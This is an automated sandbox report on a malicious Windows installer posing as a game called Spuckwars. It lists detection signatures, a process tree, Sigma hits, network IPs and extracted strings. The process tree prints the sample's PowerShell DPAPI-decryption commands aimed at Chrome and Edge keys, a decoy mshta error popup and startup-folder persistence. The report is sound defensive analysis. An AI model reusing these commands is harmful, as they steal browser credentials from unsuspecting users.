Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
SetupSpuckwars_1.15.5.exe

Overview

General Information

Sample name:SetupSpuckwars_1.15.5.exe
Analysis ID:1423647
MD5:320696b6328d7d82817da50697fcb673
SHA1:9cae6fdf42dda5ecc2c3a84c24488c132dc2f11c
SHA256:3b83e25ec4dec28c78cf89ae94e007e1928f09a3618b3b653f960d07c9e485b2
Tags:exe
Infos:

Detection

Score:52
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Drops PE files to the startup folder
Drops large PE files
Tries to harvest and steal browser information (history, passwords, etc)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Drops PE files
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
Enables security privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
IP address seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries information about the installed CPU (vendor, model number etc)
Queries keyboard layouts
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Searches for user specific document files
Sigma detected: Startup Folder File Write
Stores files to the Windows start menu directory
Tries to load missing DLLs
Uses 32bit PE files
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

  • System is w10x64
  • SetupSpuckwars_1.15.5.exe (PID: 2248 cmdline: "C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe" MD5: 320696B6328D7D82817DA50697FCB673)
    • spuckwars.exe (PID: 6248 cmdline: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe MD5: 6DE6C1C8E6ECD92A94595EBC1189C2B2)
      • cmd.exe (PID: 5792 cmdline: C:\Windows\system32\cmd.exe /d /s /c "tasklist" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 6488 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • tasklist.exe (PID: 2752 cmdline: tasklist MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)
      • spuckwars.exe (PID: 1132 cmdline: "C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\spuckwars" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1628 --field-trial-handle=1784,i,14736048943842501929,3890017246348461795,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2 MD5: 6DE6C1C8E6ECD92A94595EBC1189C2B2)
      • spuckwars.exe (PID: 2960 cmdline: "C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\spuckwars" --mojo-platform-channel-handle=2052 --field-trial-handle=1784,i,14736048943842501929,3890017246348461795,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8 MD5: 6DE6C1C8E6ECD92A94595EBC1189C2B2)
      • cmd.exe (PID: 3472 cmdline: C:\Windows\system32\cmd.exe /d /s /c "tasklist" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 3532 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • tasklist.exe (PID: 5700 cmdline: tasklist MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)
      • cmd.exe (PID: 6268 cmdline: C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,36,243,112,255,236,176,19,21,161,232,5,156,15,224,214,169,185,79,161,35,240,200,160,226,160,19,168,214,186,239,155,235,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,225,241,231,195,97,47,248,22,206,161,226,92,44,44,51,207,166,8,46,136,147,185,84,185,27,183,252,114,164,252,148,168,48,0,0,0,2,140,235,235,139,99,133,55,160,143,64,53,168,135,193,81,10,81,94,101,239,145,72,8,97,176,119,236,164,201,155,27,236,184,11,80,145,31,10,79,199,92,71,166,116,84,131,150,64,0,0,0,33,136,240,246,163,86,84,202,92,12,170,239,80,17,93,81,235,159,209,41,5,212,210,23,106,50,31,57,94,244,205,86,198,111,237,171,160,240,77,231,4,197,113,175,235,153,59,29,176,183,188,244,160,186,186,93,146,97,116,126,129,24,71,225), $null, 'CurrentUser')" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 5592 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • powershell.exe (PID: 5368 cmdline: powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,36,243,112,255,236,176,19,21,161,232,5,156,15,224,214,169,185,79,161,35,240,200,160,226,160,19,168,214,186,239,155,235,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,225,241,231,195,97,47,248,22,206,161,226,92,44,44,51,207,166,8,46,136,147,185,84,185,27,183,252,114,164,252,148,168,48,0,0,0,2,140,235,235,139,99,133,55,160,143,64,53,168,135,193,81,10,81,94,101,239,145,72,8,97,176,119,236,164,201,155,27,236,184,11,80,145,31,10,79,199,92,71,166,116,84,131,150,64,0,0,0,33,136,240,246,163,86,84,202,92,12,170,239,80,17,93,81,235,159,209,41,5,212,210,23,106,50,31,57,94,244,205,86,198,111,237,171,160,240,77,231,4,197,113,175,235,153,59,29,176,183,188,244,160,186,186,93,146,97,116,126,129,24,71,225), $null, 'CurrentUser') MD5: 04029E121A0CFA5991749937DD22A1D9)
      • cmd.exe (PID: 3916 cmdline: C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,73,231,212,88,131,180,108,13,7,151,85,6,156,66,67,185,57,141,176,137,39,153,232,122,3,148,29,97,139,226,146,101,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,25,208,58,196,147,38,229,71,17,84,57,121,51,122,21,191,192,210,223,56,196,102,132,177,163,7,170,237,170,96,43,123,48,0,0,0,22,214,107,180,137,106,64,43,246,209,3,97,183,60,179,87,35,178,252,209,63,28,6,231,92,233,101,110,37,191,114,95,102,37,85,25,129,162,60,71,136,36,115,191,138,222,1,225,64,0,0,0,221,128,244,169,226,245,40,30,145,232,4,127,240,108,165,92,23,225,199,246,49,201,112,97,127,7,108,202,49,141,230,234,32,54,72,203,159,33,237,81,195,247,232,115,207,194,239,99,114,230,169,121,178,134,199,77,110,131,115,20,107,231,17,6), $null, 'CurrentUser')" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 6488 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • powershell.exe (PID: 4544 cmdline: powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,73,231,212,88,131,180,108,13,7,151,85,6,156,66,67,185,57,141,176,137,39,153,232,122,3,148,29,97,139,226,146,101,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,25,208,58,196,147,38,229,71,17,84,57,121,51,122,21,191,192,210,223,56,196,102,132,177,163,7,170,237,170,96,43,123,48,0,0,0,22,214,107,180,137,106,64,43,246,209,3,97,183,60,179,87,35,178,252,209,63,28,6,231,92,233,101,110,37,191,114,95,102,37,85,25,129,162,60,71,136,36,115,191,138,222,1,225,64,0,0,0,221,128,244,169,226,245,40,30,145,232,4,127,240,108,165,92,23,225,199,246,49,201,112,97,127,7,108,202,49,141,230,234,32,54,72,203,159,33,237,81,195,247,232,115,207,194,239,99,114,230,169,121,178,134,199,77,110,131,115,20,107,231,17,6), $null, 'CurrentUser') MD5: 04029E121A0CFA5991749937DD22A1D9)
      • spuckwars.exe (PID: 6524 cmdline: "C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\spuckwars" --mojo-platform-channel-handle=2388 --field-trial-handle=1784,i,14736048943842501929,3890017246348461795,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8 MD5: 6DE6C1C8E6ECD92A94595EBC1189C2B2)
      • cmd.exe (PID: 2584 cmdline: C:\Windows\system32\cmd.exe /d /s /c "start /B cmd /c mshta "javascript:new ActiveXObject('WScript.Shell').Popup('An error occurred while downloading files. Please try again later.', 0, 'Error', 16);close()"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 6352 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • cmd.exe (PID: 5788 cmdline: cmd /c mshta "javascript:new ActiveXObject('WScript.Shell').Popup('An error occurred while downloading files. Please try again later.', 0, 'Error', 16);close()" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
          • mshta.exe (PID: 5656 cmdline: mshta "javascript:new ActiveXObject('WScript.Shell').Popup('An error occurred while downloading files. Please try again later.', 0, 'Error', 16);close()" MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)
      • spuckwars.exe (PID: 5372 cmdline: "C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\user\AppData\Roaming\spuckwars" --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2492 --field-trial-handle=1784,i,14736048943842501929,3890017246348461795,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2 MD5: 6DE6C1C8E6ECD92A94595EBC1189C2B2)
  • spuckwars.exe (PID: 7092 cmdline: "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exe" MD5: 6DE6C1C8E6ECD92A94595EBC1189C2B2)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

System Summary

barindex
Sigma detected: Startup Folder File Write
Source: File createdAuthor: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe, ProcessId: 6248, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exe
Sigma detected: Non Interactive PowerShell Process Spawned
Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,36,243,112,255,236,176,19,21,161,232,5,156,15,224,214,169,185,79,161,35,240,200,160,226,160,19,168,214,186,239,155,235,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,225,241,231,195,97,47,248,22,206,161,226,92,44,44,51,207,166,8,46,136,147,185,84,185,27,183,252,114,164,252,148,168,48,0,0,0,2,140,235,235,139,99,133,55,160,143,64,53,168,135,193,81,10,81,94,101,239,145,72,8,97,176,119,236,164,201,155,27,236,184,11,80,145,31,10,79,199,92,71,166,116,84,131,150,64,0,0,0,33,136,240,246,163,86,84,202,92,12,170,239,80,17,93,81,235,159,209,41,5,212,210,23,106,50,31,57,94,244,205,86,198,111,237,171,160,240,77,231,4,197,113,175,235,153,59,29,176,183,188,244,160,186,186,93,146,97,116,126,129,24,71,225), $null, 'CurrentUser'), CommandLine: powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,36,243,112,255,236,176,19,21,161,232,5,156,15,224,214,169,185,79,161,35,240,200,160,226,160,19,168,214,186,239,155,235,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,225,241,231,195,97,47,248,22,206,161,226,92,44,44,51,207,166,8,46,136,147,185,84,185,27,183,252,114,164,252,148,168,48,0,0,0,2,140,235,235,139,99,133,55,160,143,64,53,168,135,193,81,10,81,94,101,239,145,72,8,97,176,119,236,164,201,155,27,236,184,11,80,145,31,10,79,199,92,71,166,116,84,131,150,64,0,0,0,33,136,240,246,163,86,84,202,92,12,170,239,80,17,93,81,235,159,209,41,5,212,210,23,106,50,31,57,94,244,205,86,198,111,237,171,160,240,77,231,4,197,113,175,235,153,59,29,176,183,188,244,160,186,186,93,146,97,116,126,129,24,71,225), $null, 'CurrentUser'), CommandLine|base64offset|contains: ~O*^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,36,243,112,255,236,176,19,21,161,232,5,156,15,224,214,169,185,79,161,35,240,200,160,226,160,19,168,214,186,239,

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results
Source: SetupSpuckwars_1.15.5.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile created: C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\LICENSE.electron.txtJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\LICENSE.electron.txtJump to behavior
Source: SetupSpuckwars_1.15.5.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: C:\Dev\elevate\bin\x86\Release\Elevate.pdb source: elevate.exe.0.dr
Source: Binary string: C:\projects\src\out\Default\libGLESv2.dll.pdb source: libGLESv2.dll.0.dr
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile opened: C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\localesJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile opened: C:\Users\userJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile opened: C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\app-64.7zJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile opened: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile opened: C:\Users\user\Desktop\desktop.iniJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile opened: C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\resourcesJump to behavior
Source: Joe Sandbox ViewIP Address: 162.159.61.3 162.159.61.3
Source: Joe Sandbox ViewIP Address: 162.159.128.233 162.159.128.233
Source: Joe Sandbox ViewIP Address: 172.64.41.3 172.64.41.3
Source: Joe Sandbox ViewIP Address: 51.38.43.18 51.38.43.18
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownDNS traffic detected: queries for: chrome.cloudflare-dns.com
Source: unknownHTTP traffic detected: POST /dns-query HTTP/1.1Host: chrome.cloudflare-dns.comConnection: keep-aliveContent-Length: 128Accept: application/dns-messageAccept-Language: *User-Agent: ChromeAccept-Encoding: identityContent-Type: application/dns-message
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/1085
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/1452
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/1452expandIntegerPowExpressionsThe
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/1512
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/1637
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/1936
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/2046
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/2152
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/2152skipVSConstantRegisterZeroIn
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/2162
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/2273
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/2517
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/2894
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/2970
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/2978
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3027
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3045
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3078
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3205
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3206
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3246
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3246allowClearForRobustResourceInitSome
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3452
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3498
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3502
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3577
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3584
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3586
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3623
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3624
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3625
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3682
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3682allowES3OnFL100Allow
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3729
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3832
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3862
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3965
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3970
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3997
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/4214
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/4267
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/4324
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/4384
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/4405
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/4428
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/4551
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/4633
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/4646
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/4722
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/482
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/4836
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/4901
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/4937
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/5007
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/5007disableDrawBuffersIndexedDisable
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/5055
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/5061
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/5281
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/5371
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/5375
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/5421
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/5430
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/5469
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/5535
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/5577
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/5658
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/5658forceGlErrorCheckingForce
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/5750
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/5750forceRobustResourceInitForce-enable
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/5881
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/5901
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/5906
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/6041
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/6041forceInitShaderVariablesForce-enable
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/6048
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/6141
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/6248
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/6439
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/6651
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/6692
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/6755
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/6860
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/6876
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/6878
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/6929
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/6953
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/7036
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/7036Frontend
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/7047
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/7172
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/7279
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/7279cacheCompiledShaderEnable
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/7370
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/7406
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/7488
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/7527
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/7553
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/7556
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/7724
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/7724disableAnisotropicFilteringDisable
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/1094869
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/110263
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/1144207
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/1165751
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/1165751disableProgramBinaryDisable
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/1171371
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/1181068
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/1181193
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/308366
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/403957
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/550292
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/565179
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/642227
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/642605
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/644669
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/650547
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/672380
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/709351
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/797243
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/809422
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/830046
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/849576
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/883276
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/927470
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/941620
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/941620allowTranslateUniformBlockToStructuredBufferThere
Source: elevate.exe.0.drString found in binary or memory: http://int3.de/
Source: libGLESv2.dll.0.drString found in binary or memory: http://issuetracker.google.com/200067929
